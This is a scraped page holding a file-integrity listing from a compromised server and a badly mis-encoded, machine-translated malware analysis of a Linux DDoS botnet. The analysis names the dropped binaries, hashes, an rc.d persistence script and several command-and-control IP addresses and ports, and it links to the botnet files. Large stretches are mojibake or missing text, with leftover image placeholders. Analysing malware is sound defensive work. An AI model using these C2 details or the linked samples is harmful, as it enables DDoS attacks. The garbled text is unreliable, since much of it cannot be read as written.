/usr/share/cacti/include/jscalendar/lang/calendar-al.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-bg.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-big5-utf8.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-big5.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-br.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-ca.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-cs-utf8.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-cs-win.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-da.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-de.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-du.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-el.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-en.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-es.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-fi.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-fr.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-he-utf8.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-hr-utf8.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-hr.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-hu.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-it.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-jp.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-ko-utf8.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-ko.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-lt-utf8.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-lt.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-lv.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-nl.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-no.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-pl-utf8.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-pl.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-pt.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-ro.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-ru.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-ru_win_.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-si.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-sk.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-sp.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-sv.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-tr.js .M....... /usr/share/cacti/include/jscalendar/lang/calendar-zh.js .M....... /usr/share/cacti/include/jscalendar/lang/cn_utf8.js .M....... /usr/share/cacti/include/layout.js .M....... /usr/share/cacti/include/main.css .M....... /usr/share/cacti/include/plugins.php .M....... /usr/share/cacti/include/top_graph_header.php .M....... /usr/share/cacti/include/top_header.php .M....... /usr/share/cacti/include/treeview .M....... /usr/share/cacti/include/treeview/ftiens4.js .M....... /usr/share/cacti/include/treeview/ftiens4_export.js .M....... /usr/share/cacti/include/treeview/ftv2blank.gif .M....... /usr/share/cacti/include/treeview/ftv2lastnode.gif .M....... /usr/share/cacti/include/treeview/ftv2mlastnode.gif .M....... /usr/share/cacti/include/treeview/ftv2mnode.gif .M....... /usr/share/cacti/include/treeview/ftv2node.gif .M....... /usr/share/cacti/include/treeview/ftv2plastnode.gif .M....... /usr/share/cacti/include/treeview/ftv2pnode.gif .M....... /usr/share/cacti/include/treeview/ftv2vertline.gif .M....... /usr/share/cacti/include/treeview/ua.js .M....... /usr/share/cacti/include/zoom.js .M....... /usr/share/cacti/index.php .M....... /usr/share/cacti/install .M....... /usr/share/cacti/install/0_8_1_to_0_8_2.php .M....... /usr/share/cacti/install/0_8_2_to_0_8_2a.php .M....... /usr/share/cacti/install/0_8_2a_to_0_8_3.php .M....... /usr/share/cacti/install/0_8_3_to_0_8_4.php .M....... /usr/share/cacti/install/0_8_4_to_0_8_5.php .M....... /usr/share/cacti/install/0_8_5a_to_0_8_6.php .M....... /usr/share/cacti/install/0_8_6_to_0_8_6a.php .M....... /usr/share/cacti/install/0_8_6c_to_0_8_6d.php .M....... /usr/share/cacti/install/0_8_6d_to_0_8_6e.php .M....... /usr/share/cacti/install/0_8_6f_to_0_8_6g.php .M....... /usr/share/cacti/install/0_8_6g_to_0_8_6h.php .M....... /usr/share/cacti/install/0_8_6h_to_0_8_6i.php .M....... /usr/share/cacti/install/0_8_6j_to_0_8_7.php .M....... /usr/share/cacti/install/0_8_7_to_0_8_7a.php .M....... /usr/share/cacti/install/0_8_7a_to_0_8_7b.php .M....... /usr/share/cacti/install/0_8_7b_to_0_8_7c.php .M....... /usr/share/cacti/install/0_8_7c_to_0_8_7d.php .M....... /usr/share/cacti/install/0_8_7d_to_0_8_7e.php .M....... /usr/share/cacti/install/0_8_7e_to_0_8_7f.php .M....... /usr/share/cacti/install/0_8_7f_to_0_8_7g.php .M....... /usr/share/cacti/install/0_8_7g_to_0_8_7h.php .M....... /usr/share/cacti/install/0_8_7h_to_0_8_7i.php .M....... /usr/share/cacti/install/0_8_7i_to_0_8_8.php .M....... /usr/share/cacti/install/0_8_8_to_0_8_8a.php .M....... /usr/share/cacti/install/0_8_to_0_8_1.php .M....... /usr/share/cacti/install/index.php .M....... /usr/share/cacti/install/install_finish.gif .M....... /usr/share/cacti/install/install_next.gif .M....... /usr/share/cacti/lib .M....... /usr/share/cacti/lib/adodb .M....... /usr/share/cacti/lib/adodb/adodb-csvlib.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-datadict.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-error.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-errorhandler.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-errorpear.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-exceptions.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-iterator.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-lib.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-pear.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-perf.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-php4.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-time.inc.php .M....... /usr/share/cacti/lib/adodb/adodb-xmlschema.inc.php .M....... /usr/share/cacti/lib/adodb/adodb.inc.php .M....... /usr/share/cacti/lib/adodb/datadict .M....... /usr/share/cacti/lib/adodb/datadict/datadict-access.inc.php .M....... /usr/share/cacti/lib/adodb/datadict/datadict-db2.inc.php .M....... /usr/share/cacti/lib/adodb/datadict/datadict-firebird.inc.php .M....... /usr/share/cacti/lib/adodb/datadict/datadict-generic.inc.php .M....... /usr/share/cacti/lib/adodb/datadict/datadict-ibase.inc.php .M....... /usr/share/cacti/lib/adodb/datadict/datadict-informix.inc.php .M....... /usr/share/cacti/lib/adodb/datadict/datadict-mssql.inc.php .M....... /usr/share/cacti/lib/adodb/datadict/datadict-mysql.inc.php .M....... /usr/share/cacti/lib/adodb/datadict/datadict-oci8.inc.php .M....... /usr/share/cacti/lib/adodb/datadict/datadict-postgres.inc.php .M....... /usr/share/cacti/lib/adodb/datadict/datadict-sapdb.inc.php .M....... /usr/share/cacti/lib/adodb/datadict/datadict-sybase.inc.php .M....... /usr/share/cacti/lib/adodb/drivers .M....... /usr/share/cacti/lib/adodb/drivers/adodb-access.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-ado.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-ado5.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-ado_access.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-ado_mssql.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-borland_ibase.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-csv.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-db2.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-fbsql.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-firebird.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-ibase.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-informix.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-informix72.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-ldap.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-mssql.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-mssqlpo.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-mysql.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-mysqli.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-mysqlt.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-netezza.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-oci8.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-oci805.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-oci8po.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-odbc.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-odbc_mssql.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-odbc_oracle.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-odbtp.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-odbtp_unicode.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-oracle.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-pdo.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-postgres.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-postgres64.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-postgres7.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-proxy.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-sapdb.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-sqlanywhere.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-sqlite.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-sqlitepo.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-sybase.inc.php .M....... /usr/share/cacti/lib/adodb/drivers/adodb-vfp.inc.php .M....... /usr/share/cacti/lib/adodb/lang .M....... /usr/share/cacti/lib/adodb/lang/adodb-ar.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-bg.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-bgutf8.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-ca.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-cn.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-cz.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-de.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-en.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-es.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-fr.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-hu.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-it.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-nl.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-pl.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-pt-br.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-ro.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-ru1251.inc.php .M....... /usr/share/cacti/lib/adodb/lang/adodb-sv.inc.php .M....... /usr/share/cacti/lib/adodb/license.txt .M....... /usr/share/cacti/lib/adodb/toexport.inc.php .M....... /usr/share/cacti/lib/adodb/tohtml.inc.php .M....... /usr/share/cacti/lib/api_automation_tools.php .M....... /usr/share/cacti/lib/api_data_source.php .M....... /usr/share/cacti/lib/api_device.php .M....... /usr/share/cacti/lib/api_graph.php .M....... /usr/share/cacti/lib/api_poller.php .M....... /usr/share/cacti/lib/api_tree.php .M....... /usr/share/cacti/lib/auth.php .M....... /usr/share/cacti/lib/cdef.php .M....... /usr/share/cacti/lib/data_query.php .M....... /usr/share/cacti/lib/database.php .M....... /usr/share/cacti/lib/export.php .M....... /usr/share/cacti/lib/functions.php .M....... /usr/share/cacti/lib/graph_export.php .M....... /usr/share/cacti/lib/graph_variables.php .M....... /usr/share/cacti/lib/html.php .M....... /usr/share/cacti/lib/html_form.php .M....... /usr/share/cacti/lib/html_form_template.php .M....... /usr/share/cacti/lib/html_tree.php .M....... /usr/share/cacti/lib/html_utility.php .M....... /usr/share/cacti/lib/html_validate.php .M....... /usr/share/cacti/lib/import.php .M....... /usr/share/cacti/lib/ldap.php .M....... /usr/share/cacti/lib/ping.php .M....... /usr/share/cacti/lib/plugins.php .M....... /usr/share/cacti/lib/poller.php .M....... /usr/share/cacti/lib/rrd.php .M....... /usr/share/cacti/lib/snmp.php .M....... /usr/share/cacti/lib/sort.php .M....... /usr/share/cacti/lib/template.php .M....... /usr/share/cacti/lib/time.php .M....... /usr/share/cacti/lib/timespan_settings.php .M....... /usr/share/cacti/lib/tree.php .M....... /usr/share/cacti/lib/utility.php .M....... /usr/share/cacti/lib/variables.php .M....... /usr/share/cacti/lib/xml.php .M....... /usr/share/cacti/logout.php .M....... /usr/share/cacti/plugins .M....... /usr/share/cacti/plugins.php .M....... /usr/share/cacti/plugins/index.php .M....... /usr/share/cacti/poller.php .M....... /usr/share/cacti/poller_commands.php .M....... /usr/share/cacti/poller_export.php .M....... /usr/share/cacti/resource .M....... /usr/share/cacti/resource/script_queries .M....... /usr/share/cacti/resource/script_queries/host_cpu.xml .M....... /usr/share/cacti/resource/script_queries/host_disk.xml .M....... /usr/share/cacti/resource/script_queries/unix_disk.xml .M....... /usr/share/cacti/resource/script_server .M....... /usr/share/cacti/resource/script_server/host_cpu.xml .M....... /usr/share/cacti/resource/script_server/host_disk.xml .M....... /usr/share/cacti/resource/snmp_queries .M....... /usr/share/cacti/resource/snmp_queries/host_disk.xml .M....... /usr/share/cacti/resource/snmp_queries/interface.xml .M....... /usr/share/cacti/resource/snmp_queries/kbridge.xml .M....... /usr/share/cacti/resource/snmp_queries/net-snmp_disk.xml .M....... /usr/share/cacti/resource/snmp_queries/netware_cpu.xml .M....... /usr/share/cacti/resource/snmp_queries/netware_disk.xml .M....... /usr/share/cacti/rra.php .M....... /usr/share/cacti/script_server.php .M....... /usr/share/cacti/settings.php .M....... /usr/share/cacti/templates_export.php .M....... /usr/share/cacti/templates_import.php .M....... /usr/share/cacti/tree.php .M....... /usr/share/cacti/user_admin.php .M....... /usr/share/cacti/utilities.php .M....... /var/lib/cacti .M....... /var/lib/cacti/cli .M....... /var/lib/cacti/cli/add_data_query.php .M....... /var/lib/cacti/cli/add_device.php .M....... /var/lib/cacti/cli/add_graph_template.php .M....... /var/lib/cacti/cli/add_graphs.php .M....... /var/lib/cacti/cli/add_perms.php .M....... /var/lib/cacti/cli/add_tree.php .M....... /var/lib/cacti/cli/analyze_database.php .M....... /var/lib/cacti/cli/convert_innodb.php .M....... /var/lib/cacti/cli/copy_user.php .M....... /var/lib/cacti/cli/data_template_associate_rra.php .M....... /var/lib/cacti/cli/host_update_template.php .M....... /var/lib/cacti/cli/import_template.php .M....... /var/lib/cacti/cli/poller_data_sources_reapply_names.php .M....... /var/lib/cacti/cli/poller_graphs_reapply_names.php .M....... /var/lib/cacti/cli/poller_output_empty.php .M....... /var/lib/cacti/cli/poller_reindex_hosts.php .M....... /var/lib/cacti/cli/rebuild_poller_cache.php .M....... /var/lib/cacti/cli/reorder_data_query.php .M....... /var/lib/cacti/cli/repair_database.php .M....... /var/lib/cacti/cli/repair_templates.php .M....... /var/lib/cacti/cli/structure_rra_paths.php .M....... /var/lib/cacti/cli/upgrade_database.php .M....... /var/lib/cacti/rra .M....... /var/lib/cacti/scripts .M....... /var/lib/cacti/scripts/3com_cable_modem.pl .M....... /var/lib/cacti/scripts/diskfree.pl .M....... /var/lib/cacti/scripts/diskfree.sh .M....... /var/lib/cacti/scripts/linux_memory.pl .M....... /var/lib/cacti/scripts/loadavg.pl .M....... /var/lib/cacti/scripts/loadavg_multi.pl .M....... /var/lib/cacti/scripts/ping.pl .M....... /var/lib/cacti/scripts/query_host_cpu.php .M....... /var/lib/cacti/scripts/query_host_partitions.php .M....... /var/lib/cacti/scripts/query_unix_partitions.pl .M....... /var/lib/cacti/scripts/sql.php .M....... /var/lib/cacti/scripts/ss_fping.php .M....... /var/lib/cacti/scripts/ss_host_cpu.php .M....... /var/lib/cacti/scripts/ss_host_disk.php .M....... /var/lib/cacti/scripts/ss_sql.php .M....... /var/lib/cacti/scripts/unix_processes.pl .M....... /var/lib/cacti/scripts/unix_tcp_connections.pl .M....... /var/lib/cacti/scripts/unix_users.pl .M....... /var/lib/cacti/scripts/weatherbug.pl .M....... /var/lib/cacti/scripts/webhits.pl S.5....T. /var/log/cacti/cacti.log S.5....T. c /etc/ntop.conf .......T. c /etc/avahi/hosts S.5....T. c /etc/netatalk/AppleVolumes.default S.5....T. c /etc/netatalk/afpd.conf S.5....T. c /etc/netatalk/netatalk.conf S.5....T. c /etc/httpd/conf.d/nagios.conf S.5....T. c /etc/nagios/nagios.cfg S.5....T. c /etc/nagios/objects/commands.cfg S.5....T. c /etc/nagios/objects/localhost.cfg S.5....T. c /etc/sysconfig/ntpd S.5....T. c /etc/profile SM5..UGT. c /etc/snmp/snmpd.conf S.5....T. c /etc/sysconfig/iptables-config .......T. c /etc/avahi/avahi-dnsconfd.action S.5....T. c /etc/dnsmasq.conf 

, . рдХреНрдпреЛрдВрдХрд┐ , , , .


- , , crontab.
:
My home PC has been 0wn3d :( @ forums.debian.net
What do sapd, skysapd, sksapd, and ksapd do? @ askubuntu.com
I Got Myself Hacked @ hackervisions.org
Suspected rootkit @ archlinuxarm.org

, .


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдореИрдВрдиреЗ рдЗрди рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдЗрд▓ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ :
 atddd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped cupsdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped cupsddh: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped ksapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped kysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped skysapdd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped xfsdxd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped 

рдЫреАрди рдирд╣реАрдВ рд▓рд┐рдпрд╛! рдпрд╣рд╛рдБ рдЦрдмрд░ рд╣реИ!
рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ, рдореБрдЭреЗ рдХрдкрдбрд╛рдЙрди рдлрд╝рд╛рдЗрд▓ рдкрд╕рдВрдж рдЖрдИ, рдФрд░ рдкрд╣рд▓реА рдЪреАрдЬ рдЬреЛ рдореИрдВрдиреЗ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдереА, рд╡рд╣ рдирд╣реАрдВ рдереАред рдореБрдЭреЗ рдкрддрд╛ рдирд╣реАрдВ рдХреНрдпреЛрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдмрд┐рд▓реНрдХреБрд▓ рд╕рд╣реА рдерд╛ред
рдЧреЗрдЯреНрд╕

рддреЛ cupdd рдЧреЗрдЯреНрд╕ рдореЙрдбреНрдпреВрд▓ рд╣реИред md5 603170ad361f6e098c8681ed264155eb , sha1 1714fd31cc931e2a0eb97d25a076567af45dc6d8
рд╡рд╣ рдХреНрдпрд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ, рдФрд░ рд╡рд╣ "рдЧреЗрдЯреНрд╕" рдХреНрдпреЛрдВ рд╣реИ? рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдИрдбреАрдП рдкреНрд░реЛ рдЗрд╕рдХрд╛ рдЬрд╡рд╛рдм рджреЗрдЧрд╛ред
рдЫрд╡рд┐

рдЫрд╡рд┐

рдпрд╣ рдореЙрдбреНрдпреВрд▓ рдХреНрдпрд╛ рдХрд░рддрд╛ рд╣реИ?


RSA рдбреЗрдЯрд╛ рдЕрдирдкреИрдХ рдХрд░рддрд╛ рд╣реИ, рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдпрд╣ рдПрдХ рдкрдВрдХреНрддрд┐ рдереА:
 116.10.189.246:30000:1:1:h:578856:579372:579888 

рдЪрд░ рдЬрд┐рдирдореЗрдВ рд╕реЗ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╣реИрдВ:
 g_strConnTgt=116.10.189.246 g_iGatsPort=30000 g_iGatsIsFx=1 g_iIsService=1 g_strBillTail=h g_strCryptStart=578856 g_strDStart=579372 g_strNStart=579888 


рдЕрджреНрдпрддрди рдореЙрдбреНрдпреВрд▓ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рддреАрди рдЖрд░рдПрд╕рдП рддрд╛рд░реЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдВрддрд┐рдо рддреАрди рдорд╛рдкрджрдВрдбреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред
рдЫрд┐рдкрд╛ рд╣реБрдЖ рдкрд╛рда
рдЫрд╡рд┐


рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдкреЛрд░реНрдЯ 10808 рдХреЗ рдмрд╛рдЗрдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╣рд▓реЗ рд╕реЗ рдЪрд▓ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдореЗрдВ рд╕рдлрд▓ рд╣реБрдЖ, рддреЛ рдпрд╣ рдирд╣реАрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдирд╣реАрдВ, рддреЛ рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдорд╛рд░реЗрдВ рдЬрд┐рд╕рдХрд╛ рдкреАрдЖрдИрдбреА тАЛтАЛрд▓реЙрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ /tmp/bill.lock рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ,
рдЙрд╕ рдкрде рдХреЛ рдвреВрдБрдврддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рд╡рд░реНрддрдорд╛рди exe рдХреЛ рдкрдврд╝рдиреЗ / рд╕рдВрдЧреНрд░рд╣ /% d / exe рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдкрде рдХрд╛ рдЪрдпрди рдХрд░рддрд╛ рд╣реИ, рд╕реЗ 'рдмрд┐рд▓рдореЗрд▓' рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ 1 (рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдпрд╣ 'h' рдерд╛), рдЗрд╕реЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЦреЛрд▓рддрд╛ рд╣реИ рдФрд░ рд╡рд╣рд╛рдБ рдПрдХ рдлрд╛рдЗрд▓ рд▓рд┐рдЦрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреА рд╢реБрд░реБрдЖрдд 0xB1728 рдЖрдХрд╛рд░ 335872 рдХреА рдСрдлрд╕реЗрдЯ рд╕реЗ рд╣реЛрддреА рд╣реИред
рдлреЛрд░реНрдХреНрд╕ рдФрд░ рдПрдХ рдирдИ рдлрд╝рд╛рдЗрд▓ рд▓реЙрдиреНрдЪ рдХрд░рддреА рд╣реИред
рдЫрд┐рдкрд╛ рд╣реБрдЖ рдкрд╛рда
рдЫрд╡рд┐



 #!/bin/bash /path/to/bill 

рдФрд░ рдЗрд╕ рдкрд░ /etc/rc рдкрд░ рдИ .1-5/.d/97DbSecuritySpt рдореЗрдВ рд╕рд╣рд╛рдиреБрднреВрддрд┐ рдмрдирд╛рддрд╛ рд╣реИред
рдЫрд┐рдкрд╛ рд╣реБрдЖ рдкрд╛рда
рдЫрд╡рд┐


рд╕рд┐рд╕реНрдЯрдо, рдкреНрд░реЛрд╕реЗрд╕рд░, рд░реИрдо, рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛рд░реНрдб, рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА рдкрдврд╝рддрд╛ рд╣реИред
рдЫрд┐рдкрд╛ рд╣реБрдЖ рдкрд╛рда
рдЫрд╡рд┐


рдмрд┐рд▓

рдмрд┐рд▓ рдореЙрдбреНрдпреВрд▓ рдПрдХ DDoS рдореЙрдбреНрдпреВрд▓ рд╣реИред рдкреИрдХреНрдб рдпреВрдкреАрдПрдХреНрд╕ред рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдЗрд╕реЗ " рдХрдкрдбреНрдв " рдХрд╣рд╛ рдЬрд╛рддрд╛ рдерд╛ , md5 7fb3dce23d290166c7e52644b16faae6 , sha1 98db5a311118c78d97aa5bdb7d8277535544926


127.0.0.1:10808. , .

┬л┬╗

ksapdd тАФ - , .
. , 121.12.110.96:10991, :
рдЫрд┐рдкрд╛ рд╣реБрдЖ рдкрд╛рда
рдЫрд╡рд┐

рдЫрд╡рд┐


kysapdd , skysapdd , xfsdxd atddd ksapdd , 112.90.252.76:10991, 112.90.22.197:10991, 116.10.189.246:10991, тАФ 202.103.178.76:10991

рдирд┐рд╖реНрдХрд░реНрд╖


рдЦреИрд░, рдпрд╣ рд╕рдм рд╣реИредрдпрд╣ рдХреБрдЫ рд╣рдж рддрдХ рд╕рддрд╣реА рдирд┐рдХрд▓рд╛, рд▓реЗрдХрд┐рди рдкреНрд░рдмрдВрдзрди рд╕рд░реНрд╡рд░ рдЦрд╛рд▓реА рдореЗрд░реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ рдЖрджреЗрд╢ рдирд╣реАрдВ рджреЗрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдФрд░ рдХреБрдЫ рднреА рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рдХрд╛ рдЦреНрдпрд╛рд▓ рд░рдЦреЗрдВред

rghost.ru/52680741 - рдпрд╣рд╛рдВ рд╕рднреА рдмреЙрдЯрдиреЗрдЯ рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВред

Source: https://habr.com/ru/post/In213973/


All Articles